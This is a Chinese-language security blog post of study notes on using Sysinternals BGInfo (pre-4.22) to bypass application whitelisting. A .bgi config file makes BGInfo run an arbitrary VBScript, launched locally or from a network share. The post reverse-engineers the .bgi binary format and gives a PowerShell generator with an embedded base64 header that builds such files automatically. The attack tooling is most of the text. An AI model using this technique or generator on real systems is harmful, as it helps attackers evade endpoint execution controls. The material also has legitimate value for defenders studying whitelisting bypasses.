Study Notes of using BGInfo to bypass Application Whitelisting
0x00 前言
最近看到一篇有趣的文章《Bypassing Application Whitelisting with BGInfo》,介绍了如何通过 BGInfo 实现白名单绕过,我对此很感兴趣,于是对这部分内容做了学习整理,同时开源了一个 powershell 脚本,用于自动生成.bgi 文件
文章地址如下:https://msitpros.com/?p=3831
0x01 简介
本文将要介绍如下内容:
- Bginfo 简介
- 通过 Bginfo 绕过白名单的实际操作
- 如何使用 powershell 编辑二进制文件
- 如何开发 powershell 脚本自动生成.bgi 文件
0x02 Bginfo
Bginfo—强大的 Windows 系统信息显示工具,出自 Sysinternals 套件
下载地址:https://technet.microsoft.com/en-us/sysinternals/bb897557.aspx
注:bginfo.exe 最新版本为 4.22,本文测试版本为 4.21
1、简介
可以自动在桌面的一个区域中显示当前 Windows 环境信息
面板如图
设置后,桌面显示 Windows 环境信息,如图
编辑要显示的信息,可将其保存为 config.bgi
,使用时将其导入就好
2、Bginfo 命令行模式
/h 弹出帮助
如图
通过命令行设置桌面显示信息的命令如下:
bginfo.exe config.bgi /timer:0 /nolicprompt /silent
3、扩展:
点击 Custom 可自定义桌面显示内容,如图
选择 New
设置数据源,包括环境变量、注册表键值、WMI、文件、VB Script 脚本
4、导入 WMI 查询:
添加一个 WMI 查询,如图
在面部添加显示内容,修改桌面,成功显示新内容,如图
5、导入 VBS:
添加一个 vbs 查询,vbs 脚本可参考:
该 vbs 脚本实现:
- 启动 cmd.exe
- 在桌面输出:"Does not matter what this says"
导入该 vbs 脚本后,点击 Apply,成功弹出 cmd.exe,并在桌面输出 Does not matter what this says
如图
整个启动过程还可在 cmd 下实现
(1) 将上述 bgi 工程保存为 vbs.bgi
(2) cmd:
bginfo.exe vbs.bgi /timer:0 /nolicprompt /silent
6、bginfo.exe 和 vbs.bgi 可以放在远程服务器,通过网络共享访问执行
cmd:
\\WIN-FVJLPTISCFE\test\bginfo.exe \\WIN-FVJLPTISCFE\test\test1.bgi /timer:0 /nolicprompt /silent
完整操作如图
0x03 通过 Bginfo 绕过白名单
完整过程如下:
1、启动 bginfo.exe,添加导入 vbs 脚本功能,设置 vbs 脚本路径,去掉桌面显示内容
2、将 bgi 工程保存为.bgi 文件
3、命令行执行代码:
bginfo.exe vbs.bgi /timer:0 /nolicprompt /silent
注:
bginfo.exe 的版本需要低于 4.22,版本 4.22 已经修复上述问题
整个绕过过程很简单,但是步骤 1 和步骤 2 比较麻烦,通过 UltraEdit
查看 vbs.bgi,内容如图
看起来遵循一定的格式,那么能否通过 powershell 脚本实现自动生成.bgi 文件呢?
0x04 bgi 文件格式
通过文件比较来猜测 bgi 文件格式
使用 16 进制文件比较工具: Beyond Compare
分别设置不同的 vbs 路径,对比差别,如图
不难发现,差异只存在于 0x00000301 和 0x00000306 开始的 vbs 路径
0x00000000-0x0x00000300 为固定格式
字符串 C:\test\1.vbs
的长度为 13,0x00000301 标志位数值为 0x0F,10 进制为 15
字符串 C:\test\cmd.vbs
的长度为 15,0x00000301 标志位数值为 0x11,10 进制为 17
大胆猜测:
0x00000301 的标志位表示内容为:vbs 路径长度+2,并转换成 16 进制保存
注:
vbs 路径 C:\test\1.vbs
中的磁盘目录 C
需要大写,否则提示文件格式错误
0x05 如何使用 powershell 编辑二进制文件
使用 powershell 读写文件,最常用的方式为:
读文件: Get-content
写文件: Set-content
然而,对于不是 txt 的文件,如果存在特殊字符,通过以上方法会出现 bug,自动过滤特殊字符串,导致长度不同,内容出错
读写二进制文件方法:
读二进制文件:
[System.IO.File]::ReadAllBytes('1.txt')
写二进制文件:
[System.IO.File]::WriteAllBytes("1.txt",$fileContentBytes)
修改二进制文件:
使用 system.io.filestream
代码如下:
$fs=new-object io.filestream "test1.bgi",open
$fs.seek(0,2)
$fs.writebyte(0x00)
$fs.flush()
$fs.close()
参数说明:
$fs=new-object io.filestream "test1.bgi",open:
- open 表示追加,createnew 表示新建
$fs.seek(0,2):
- 第一个参数表示偏移
- 第二个参数:0 表示以文件开头作为起点,1 表示以当前位置作为起点,2 表示以文件末尾作为起点
0x06 编写 powershell 脚本实现自动生成.bgi 文件
开发思路:
读取 0x00000000-0x0x00000300 内容,作 base64 编码并保存在变量$fileContent 中
对变量$fileContent 作 base64 解码,写入新文件 test1.bgi
使用追加方式向文件依次写入标志位,vbs 路径和其他填充位
流程如下:
- 写入 0x00000000-0x0x00000300 内容
- 计算标志位
- 以二进制方式写入标志位
- 使用 Out-File 向文件追加写入 vbs 路径,但是会存在冗余数据 0D0A
- 偏移-2,以二进制方式填充其他位置,覆盖冗余数据 0D0A
关键代码如下:
将 0x00000000-0x0x00000300 内容保存为 1.bgi
powershell 代码:
$fileContent = [System.IO.File]::ReadAllBytes('1.bgi')
$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("buffer.txt")
生成 buffer.txt,内容如下:
CwAAAEJhY2tncm91bmQABAAAAAQAAAAAAAAACQAAAFBvc2l0aW9uAAQAAAAEAAAA/gMAAAgAAABNb25pdG9yAAQAAAAEAAAAXAQAAA4AAABUYXNrYmFyQWRqdXN0AAQAAAAEAAAAAQAAAAsAAABUZXh0V2lkdGgyAAQAAAAEAAAAwHsAAAsAAABPdXRwdXRGaWxlAAEAAAASAAAAJVRlbXAlXEJHSW5mby5ibXAACQAAAERhdGFiYXNlAAEAAAABAAAAAAwAAABEYXRhYmFzZU1SVQABAAAABAAAAAAAAAAKAAAAV2FsbHBhcGVyAAEAAAABAAAAAA0AAABXYWxscGFwZXJQb3MABAAAAAQAAAACAAAADgAAAFdhbGxwYXBlclVzZXIABAAAAAQAAAABAAAADQAAAE1heENvbG9yQml0cwAEAAAABAAAAAAAAAAMAAAARXJyb3JOb3RpZnkABAAAAAQAAAAAAAAACwAAAFVzZXJTY3JlZW4ABAAAAAQAAAABAAAADAAAAExvZ29uU2NyZWVuAAQAAAAEAAAAAAAAAA8AAABUZXJtaW5hbFNjcmVlbgAEAAAABAAAAAAAAAAOAAAAT3BhcXVlVGV4dEJveAAEAAAABAAAAAAAAAAEAAAAUlRGAAEAAADvAAAAe1xydGYxXGFuc2lcYW5zaWNwZzkzNlxkZWZmMFxkZWZsYW5nMTAzM1xkZWZsYW5nZmUyMDUye1xmb250dGJse1xmMFxmbmlsXGZjaGFyc2V0MTM0IEFyaWFsO319DQp7XGNvbG9ydGJsIDtccmVkMjU1XGdyZWVuMjU1XGJsdWUyNTU7fQ0KXHZpZXdraW5kNFx1YzFccGFyZFxmaS0yODgwXGxpMjg4MFx0eDI4ODBcY2YxXGxhbmcyMDUyXGJccHJvdGVjdFxmMFxmczI0IDx2YnM+XHByb3RlY3QwXHBhcg0KXHBhcg0KfQ0KAAALAAAAVXNlckZpZWxkcwAAgACAAAAAAAQAAAB2YnMAAQAAAA==
将其保存在变量$fileContent 中,解密并写入文件 test1.bgi
$fileContent = "CwAAAEJhY2tncm91bmQABAAAAAQAAAAAAAAACQAAAFBvc2l0aW9uAAQAAAAEAAAA/gMAAAgAAABNb25pdG9yAAQAAAAEAAAAXAQAAA4AAABUYXNrYmFyQWRqdXN0AAQAAAAEAAAAAQAAAAsAAABUZXh0V2lkdGgyAAQAAAAEAAAAwHsAAAsAAABPdXRwdXRGaWxlAAEAAAASAAAAJVRlbXAlXEJHSW5mby5ibXAACQAAAERhdGFiYXNlAAEAAAABAAAAAAwAAABEYXRhYmFzZU1SVQABAAAABAAAAAAAAAAKAAAAV2FsbHBhcGVyAAEAAAABAAAAAA0AAABXYWxscGFwZXJQb3MABAAAAAQAAAACAAAADgAAAFdhbGxwYXBlclVzZXIABAAAAAQAAAABAAAADQAAAE1heENvbG9yQml0cwAEAAAABAAAAAAAAAAMAAAARXJyb3JOb3RpZnkABAAAAAQAAAAAAAAACwAAAFVzZXJTY3JlZW4ABAAAAAQAAAABAAAADAAAAExvZ29uU2NyZWVuAAQAAAAEAAAAAAAAAA8AAABUZXJtaW5hbFNjcmVlbgAEAAAABAAAAAAAAAAOAAAAT3BhcXVlVGV4dEJveAAEAAAABAAAAAAAAAAEAAAAUlRGAAEAAADvAAAAe1xydGYxXGFuc2lcYW5zaWNwZzkzNlxkZWZmMFxkZWZsYW5nMTAzM1xkZWZsYW5nZmUyMDUye1xmb250dGJse1xmMFxmbmlsXGZjaGFyc2V0MTM0IEFyaWFsO319DQp7XGNvbG9ydGJsIDtccmVkMjU1XGdyZWVuMjU1XGJsdWUyNTU7fQ0KXHZpZXdraW5kNFx1YzFccGFyZFxmaS0yODgwXGxpMjg4MFx0eDI4ODBcY2YxXGxhbmcyMDUyXGJccHJvdGVjdFxmMFxmczI0IDx2YnM+XHByb3RlY3QwXHBhcg0KXHBhcg0KfQ0KAAALAAAAVXNlckZpZWxkcwAAgACAAAAAAAQAAAB2YnMAAQAAAA=="
$fileContentBytes = [System.Convert]::FromBase64String($fileContent)
[System.IO.File]::WriteAllBytes("test1.bgi",$fileContentBytes)
标志位计算:
$VbsPath="C:\test\1.vbs"
$Length=$VbsPath.Length+2
写入长度标志位+空闲填充位
$fs=new-object io.filestream "test1.bgi",open
$fs.seek(0,2)
$fs.writebyte($Length)
$fs.writebyte(0x00)
$fs.writebyte(0x00)
$fs.writebyte(0x00)
$fs.writebyte(0x34)
$fs.flush()
$fs.close()
追加写入 vbs 脚本路径:
$VbsPath | Out-File -Encoding ascii -Append test1.bgi
存在冗余数据 0D0A,所以偏移应该为-2,写入空闲填充位:
$fs=new-object io.filestream "test1.bgi",open
$fs.seek(-2,2)
$fs.writebyte(0x00)
$fs.writebyte(0x00)
$fs.writebyte(0x00)
$fs.writebyte(0x00)
$fs.writebyte(0x00)
$fs.writebyte(0x01)
$fs.writebyte(0x80)
$fs.writebyte(0x00)
$fs.writebyte(0x80)
$fs.writebyte(0x00)
$fs.writebyte(0x00)
$fs.writebyte(0x00)
$fs.writebyte(0x00)
$fs.flush()
$fs.close()
完整代码已上传至 github:https://github.com/3gstudent/bgi-creater
完整操作如图
0x07 小结
本文介绍了通过 BGInfo 实现白名单绕过的方法,同时介绍了通过 powershell 编辑二进制文件的方法,开源了一个 powershell 生成.bgi 文件的脚本,希望能够帮助大家。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论